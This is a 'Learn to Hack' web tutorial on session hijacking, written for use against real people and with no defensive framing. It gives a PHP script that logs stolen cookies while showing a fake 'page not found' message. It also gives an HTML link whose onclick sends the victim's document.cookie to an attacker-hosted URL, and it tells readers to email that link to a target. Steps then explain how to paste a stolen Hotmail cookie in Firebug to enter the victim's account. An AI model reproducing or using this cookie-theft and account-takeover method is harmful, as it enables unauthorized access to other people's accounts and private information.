Session Hijacking - Learn to Hack

Session Hijacking

Session Hijacking is the Hijacking or Exploiting of a cookie to gain unauthorized access to someone's information or services in a computer.

First of all to do this you need to have Firefox 3.6 with Firebug and Firecookie installed on your browser. Then write this simple script on notepad and save it as Name.php 

<?php
$cookie = $HTTP_GET_VARS["cookie"];
$date = date("l ds of F Y h:i:s A");
$user_agent = $_SERVER['HTTP_USER_AGENT'];
$file = fopen('log.txt','a+');
fwrite($file,"Hack For Fun\nDATE : $date \n USER AGENT : $user_agent \n COOKIE : $cookie\n");
fclose($file);


echo'<b>Sorry the Page you requested cannot be found</b>'
?>

After you save it. Upload this file to a free web hosting service like www.t35.com

Thats it. Then you have to write a html script to direct the users cookie to this php script you uploaded.

<a onclick = "document.location = 'http://yoursite.t35.com/session.php?cookie='+escape(document.cookie); "href = "#"<b>Click Here</b></a>

Replace the Red Colored link with your link to the php script

Send this html to your friend's email which you want to hack.

Now its time to Exploit.

To get the cookie go to your hosted site: for example if you host the php script at address

http://www.yoursite.t35.com/Name.php

Then your log file will be also in the same directory

http://www.yoursite.t35.com/log.txt

Here you can find the Cookie right after "Cookie:" Copy the cookie to the notepad and now you should find out the cookie name. For hotmail the cookie name is KSC like that you can find the cookie name in the cookie you obtained for other sites.

To do this for hotmail :

• Go to Hotmail and log in to your account. Now Go to Tools→Firebug→Open Firebug or Press F12
• Now go the cookie you copied to the notepad and Search "KSC="
• Once you find it copy the data after the KSC= untill the First Semicolon(;)
• Come Back to Firebug and Select the cookies tab and find the Name KSC.
• Right Click on KSC and Select Edit. Then Replace the Value with the data you copied and press OK

• Now Reload the Page, You'll be taken to the victim's account. 

Thats It!!! Go Ahead